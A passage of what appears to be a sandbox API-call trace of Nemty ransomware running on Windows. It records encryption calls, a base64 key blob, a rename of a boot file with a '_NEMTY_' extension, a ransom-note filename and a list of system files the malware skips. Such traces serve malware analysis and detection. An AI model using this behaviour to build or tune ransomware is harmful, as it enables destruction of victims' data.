GetLastError () returned 0xb7 [0043.366] SetLastError (dwErrCode=0xb7) [0043.366] GetLastError () returned 0xb7 [0043.366] SetLastError (dwErrCode=0xb7) [0043.366] GetLastError () returned 0xb7 [0043.366] SetLastError (dwErrCode=0xb7) [0043.366] GetLastError () returned 0xb7 [0043.366] SetLastError (dwErrCode=0xb7) [0043.366] GetLastError () returned 0xb7 [0043.366] SetLastError (dwErrCode=0xb7) [0043.366] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] GetLastError () returned 0xb7 [0043.367] SetLastError (dwErrCode=0xb7) [0043.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915d8 | out: hHeap=0x4f90000) returned 1 [0043.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.368] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0043.368] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0043.368] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0043.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0043.368] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="KDA1fU+p8dUrn57UUpUdmCY0wnTv9Td51Pj/L/juGSho9mVCafYVG355ffZBie0N\r\nkrzn6/B9XspEAb8+z/pvXgIfDJSoKTG8YoY3DIJAjz6uesRG3VJ7akkoK2OIbt+9\r\nl5nM6cqwcsUeRXahU0U+4tuC4I1jsSzLuFQpIwx9fFIVC9rQ/rbVSfH0HiexH03a\r\nmJdFah7LTuQ3q8Y/+igTyEZpz754ofJFLJOquTIGNU2aYq9jdx424G+KFjh+sTKH\r\nZqeDxrNE0CMNgDYL27i7204nrMg2OHHBK6ynh2R/TvrN3Y5Wz/e8rJn5pAUcjZ+l\r\ngI9Y70rfR6UJG8KXoJH8SQ==\r\n", pcchString=0x653f2dc) returned 1 [0043.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0043.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0043.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0043.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0043.368] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.368] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0043.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6345d48 [0043.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.378] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6345d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6345d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d48 | out: hHeap=0x4f90000) returned 1 [0043.479] CloseHandle (hObject=0xffffffff) returned 0 [0043.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f915d8 [0043.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91620 [0043.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94370 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91620 | out: hHeap=0x4f90000) returned 1 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.479] MoveFileW (lpExistingFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915d8 | out: hHeap=0x4f90000) returned 1 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.479] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8838b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcd8838b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd8a9a10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0043.479] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0043.479] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0043.479] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0043.479] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0043.480] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0043.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0043.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0043.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.481] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8838b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcd8838b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd8a9a10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0043.481] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0043.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.481] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, 